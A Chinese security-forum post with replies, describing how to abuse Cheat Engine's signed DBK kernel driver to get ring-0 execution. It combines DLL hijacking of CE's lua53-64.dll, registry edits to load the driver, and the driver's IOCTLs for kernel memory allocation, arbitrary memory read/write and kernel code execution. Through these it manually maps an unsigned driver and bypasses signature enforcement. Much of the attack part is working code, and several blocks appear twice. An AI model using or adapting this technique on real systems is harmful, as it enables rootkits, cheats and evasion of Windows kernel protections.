首页
社区
课程
招聘
[原创]利用CE的DBK驱动获取R0权限
发表于: 2023-7-7 22:38 23226

[原创]利用CE的DBK驱动获取R0权限

2023-7-7 22:38
23226

CE的DBK驱动提供了一些很直接的IOCTL接口,包括在分配内核中的非分页内存、执行内核代码、读写任意内存地址、建立mdl映射等,下面展示了DBK驱动通过IOCTL接口提供功能的部分源码;
这里提供了分配/释放非分页内存的功能:

这里提供了给定内核地址就能直接执行内核代码的功能:

之所以DBK驱动提供如此直白的接口但微软还能给签名,是因为DBK驱动做了一点基本的防护,在进程打开DBK驱动创建的设备对象时,它会通过进程文件对应的sig文件来校验进程文件的数字签名,如果校验失败,会打开设备对象失败,从而阻止其他进程使用DBK驱动提供的功能,这也就是为什么CE的安装目录下有sig文件;
图片描述

我发现CE由于需要加载lua脚本,所以导入表里有lua53-64.dll,可以通过dll劫持让CE在启动之前就加载自己写的dll,dll里加载DBK驱动,并打开其创建的设备对象,之后内存加载自己写的未签名驱动并运行DriverEntry,虽然DriverEntry不是在System进程下运行的但好歹是跑了R0的代码。

1、加载DBK驱动
CreateService创建服务,但在OpenService打开服务之前需要写4个注册表项,不然DBK驱动会加载失败。

2、打开设备对象
打开设备对象后,需要将之前创建的4个注册表项删除掉。
3、利用DBK驱动提供的功能
下面是分配/释放内核中的非分页内存的代码:

下面是读写任意进程的内存地址的代码(包括R0地址):

下面是执行内核地址的代码:

4、将未签名驱动映射到内核内存中并修复其RVA以及导入表,之后运行其DriverEntry
(具体代码太多了,就不展示了)
5、创建驱动项目
要注意的是,由于这个驱动运行的方式不正常,所以要将入口点改为DriverEntry,还要禁用GS防护,这样才能避免SecurityCookie引发的crash问题。
图片描述
图片描述
我在里面简单打印了点日志用于验证:

部署目录如下:
图片描述
管理员权限启动richstuff-x86_64.exe,它会在运行前加载lua53-x64.dll,之后dll会加载richstuffk64.sys驱动并打开其创建的设备对象,再通过IO控制其映射MyDriver.sys到内存中并调用其DriverEntry。

代码以及部署见:https://github.com/TechForBad/CECheater

case IOCTL_CE_ALLOCATEMEM_NONPAGED:
    {
        struct input
        {
            ULONG Size;
        } *inp;
        PVOID address;
        int size;
 
        inp=Irp->AssociatedIrp.SystemBuffer;
        size=inp->Size;
 
        address=ExAllocatePool(NonPagedPool,size);
        *(PUINT64)Irp->AssociatedIrp.SystemBuffer=0;
        *(PUINT_PTR)Irp->AssociatedIrp.SystemBuffer=(UINT_PTR)address;
         
 
        if (address==0)
            ntStatus=STATUS_UNSUCCESSFUL;
        else
        {
            DbgPrint("Alloc success. Cleaning memory... (size=%d)\n",size);                
             
            DbgPrint("address=%p\n", address);
            RtlZeroMemory(address, size);
         
            ntStatus=STATUS_SUCCESS;
        }
 
        break;
    }
 
case IOCTL_CE_FREE_NONPAGED:
    {
        struct input
        {
            UINT64 Address;
        } *inp;
 
        inp = Irp->AssociatedIrp.SystemBuffer;
 
        ExFreePool((PVOID)(UINT_PTR)inp->Address);
 
        ntStatus = STATUS_SUCCESS;
 
        break;
    }
case IOCTL_CE_ALLOCATEMEM_NONPAGED:
    {
        struct input
        {
            ULONG Size;
        } *inp;
        PVOID address;
        int size;
 
        inp=Irp->AssociatedIrp.SystemBuffer;
        size=inp->Size;
 
        address=ExAllocatePool(NonPagedPool,size);
        *(PUINT64)Irp->AssociatedIrp.SystemBuffer=0;
        *(PUINT_PTR)Irp->AssociatedIrp.SystemBuffer=(UINT_PTR)address;
         
 
        if (address==0)
            ntStatus=STATUS_UNSUCCESSFUL;
        else
        {
            DbgPrint("Alloc success. Cleaning memory... (size=%d)\n",size);                
             
            DbgPrint("address=%p\n", address);
            RtlZeroMemory(address, size);
         
            ntStatus=STATUS_SUCCESS;
        }
 
        break;
    }
 
case IOCTL_CE_FREE_NONPAGED:
    {
        struct input
        {
            UINT64 Address;
        } *inp;
 
        inp = Irp->AssociatedIrp.SystemBuffer;
 
        ExFreePool((PVOID)(UINT_PTR)inp->Address);
 
        ntStatus = STATUS_SUCCESS;
 
        break;
    }
case IOCTL_CE_EXECUTE_CODE:
    {      
        typedef NTSTATUS (*PARAMETERLESSFUNCTION)(UINT64 parameters);
        PARAMETERLESSFUNCTION functiontocall;
 
        struct input
        {
            UINT64  functionaddress; //function address to call
            UINT64  parameters;
        } *inp=Irp->AssociatedIrp.SystemBuffer;
        DbgPrint("IOCTL_CE_EXECUTE_CODE\n");
 
        functiontocall=(PARAMETERLESSFUNCTION)(UINT_PTR)(inp->functionaddress);
 
        __try
        {
            ntStatus=functiontocall(inp->parameters);
            DbgPrint("Still alive\n");
            ntStatus=STATUS_SUCCESS;
        }
        __except(1)
        {
            DbgPrint("Exception occured\n");
            ntStatus=STATUS_UNSUCCESSFUL;
        }
 
        break;
    }
case IOCTL_CE_EXECUTE_CODE:
    {      
        typedef NTSTATUS (*PARAMETERLESSFUNCTION)(UINT64 parameters);
        PARAMETERLESSFUNCTION functiontocall;
 
        struct input
        {
            UINT64  functionaddress; //function address to call
            UINT64  parameters;
        } *inp=Irp->AssociatedIrp.SystemBuffer;
        DbgPrint("IOCTL_CE_EXECUTE_CODE\n");
 
        functiontocall=(PARAMETERLESSFUNCTION)(UINT_PTR)(inp->functionaddress);
 
        __try
        {
            ntStatus=functiontocall(inp->parameters);
            DbgPrint("Still alive\n");
            ntStatus=STATUS_SUCCESS;
        }
        __except(1)
        {
            DbgPrint("Exception occured\n");
            ntStatus=STATUS_UNSUCCESSFUL;
        }
 
        break;
    }
// 写相关注册表
HKEY hKey;
std::wstring subKey = Format(L"SYSTEM\\CurrentControlSet\\Services\\%ws", DBK_SERVICE_NAME);
LSTATUS status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey.c_str(), 0, KEY_WRITE, &hKey);
if (ERROR_SUCCESS != status)
{
    LOG("RegOpenKeyEx failed");
    CloseServiceHandle(hService);
    CloseServiceHandle(hMgr);
    return false;
}
std::wstring AValue = Format(L"\\Device\\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"A", 0, REG_SZ, reinterpret_cast<const BYTE*>(AValue.data()), AValue.size() * sizeof(wchar_t));
std::wstring BValue = Format(L"\\DosDevices\\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"B", 0, REG_SZ, reinterpret_cast<const BYTE*>(BValue.data()), BValue.size() * sizeof(wchar_t));
std::wstring CValue = Format(L"\\BaseNamedObjects\\%ws", DBK_PROCESS_EVENT_NAME);
RegSetValueEx(hKey, L"C", 0, REG_SZ, reinterpret_cast<const BYTE*>(CValue.data()), CValue.size() * sizeof(wchar_t));
std::wstring DValue = Format(L"\\BaseNamedObjects\\%ws", DBK_THREAD_EVENT_NAME);
RegSetValueEx(hKey, L"D", 0, REG_SZ, reinterpret_cast<const BYTE*>(DValue.data()), DValue.size() * sizeof(wchar_t));
// 写相关注册表
HKEY hKey;
std::wstring subKey = Format(L"SYSTEM\\CurrentControlSet\\Services\\%ws", DBK_SERVICE_NAME);
LSTATUS status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey.c_str(), 0, KEY_WRITE, &hKey);
if (ERROR_SUCCESS != status)
{
    LOG("RegOpenKeyEx failed");
    CloseServiceHandle(hService);
    CloseServiceHandle(hMgr);
    return false;
}
std::wstring AValue = Format(L"\\Device\\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"A", 0, REG_SZ, reinterpret_cast<const BYTE*>(AValue.data()), AValue.size() * sizeof(wchar_t));
std::wstring BValue = Format(L"\\DosDevices\\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"B", 0, REG_SZ, reinterpret_cast<const BYTE*>(BValue.data()), BValue.size() * sizeof(wchar_t));
std::wstring CValue = Format(L"\\BaseNamedObjects\\%ws", DBK_PROCESS_EVENT_NAME);
RegSetValueEx(hKey, L"C", 0, REG_SZ, reinterpret_cast<const BYTE*>(CValue.data()), CValue.size() * sizeof(wchar_t));
std::wstring DValue = Format(L"\\BaseNamedObjects\\%ws", DBK_THREAD_EVENT_NAME);
RegSetValueEx(hKey, L"D", 0, REG_SZ, reinterpret_cast<const BYTE*>(DValue.data()), DValue.size() * sizeof(wchar_t));
UINT64 DBK_AllocNonPagedMem(ULONG size)
{
#pragma pack(1)
    struct InputBuffer
    {
        ULONG size;
    };
#pragma pack()
 
    InputBuffer inputBuffer;
    inputBuffer.size = size;
    UINT64 allocAddress = 0LL;
    DWORD retSize;
    if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_ALLOCATEMEM_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), &allocAddress, sizeof(allocAddress), &retSize, NULL))
    {
        LOG("DeviceIoControl IOCTL_CE_ALLOCATEMEM_NONPAGED failed");
        return 0;
    }
    return allocAddress;
}
bool DBK_FreeNonPagedMem(UINT64 allocAddress)
{
#pragma pack(1)
    struct InputBuffer
    {
        UINT64 address;
    };
#pragma pack()
 
    InputBuffer inputBuffer;
    inputBuffer.address = allocAddress;
    DWORD retSize;
    if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_FREE_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), NULL, 0, &retSize, NULL))
    {
        LOG("DeviceIoControl IOCTL_CE_FREE_NONPAGED failed");
        return false;
    }
    return true;
}
UINT64 DBK_AllocNonPagedMem(ULONG size)
{
#pragma pack(1)
    struct InputBuffer
    {
        ULONG size;
    };
#pragma pack()
 
    InputBuffer inputBuffer;
    inputBuffer.size = size;
    UINT64 allocAddress = 0LL;
    DWORD retSize;
    if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_ALLOCATEMEM_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), &allocAddress, sizeof(allocAddress), &retSize, NULL))
    {
        LOG("DeviceIoControl IOCTL_CE_ALLOCATEMEM_NONPAGED failed");
        return 0;
    }
    return allocAddress;
}
bool DBK_FreeNonPagedMem(UINT64 allocAddress)
{
#pragma pack(1)
    struct InputBuffer
    {
        UINT64 address;
    };
#pragma pack()
 

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2023-8-5 17:10 被TechForBad编辑 ,原因: 不再直接提供源码,而是转到github里提供
收藏
免费 11
支持
分享
最新回复 (12)
雪    币: 456
活跃值: (917)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
学习了,感谢分享
2023-7-7 23:40
0
雪    币: 2058
活跃值: (1651)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
学习。感谢分享
2023-7-8 16:40
0
雪    币: 3070
活跃值: (30876)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
感谢分享
2023-7-8 22:41
1
雪    币: 140
活跃值: (451)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
感谢分享
2023-7-9 22:30
0
雪    币: 0
活跃值: (91)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
大佬真会玩
2023-7-12 19:21
0
雪    币: 7953
活跃值: (4699)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
make 好思路 受教了
2023-7-14 07:46
0
雪    币: 252
活跃值: (1204)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
好思路 学习中
2023-7-14 17:37
0
雪    币: 226
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
厉害了
2023-7-15 18:53
0
雪    币: 128
活跃值: (952)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
网上早就有教怎么调用CE的驱动
2023-8-6 12:43
0
雪    币: 0
活跃值: (60)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
学习中 感谢分享
2023-8-14 00:14
0
雪    币: 9
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
13
能不能直接干掉DSE,正规驱动的漏洞利用为啥都是搞动态加载的
2023-8-20 23:40
0
游客
登录 | 注册 方可回帖
返回
//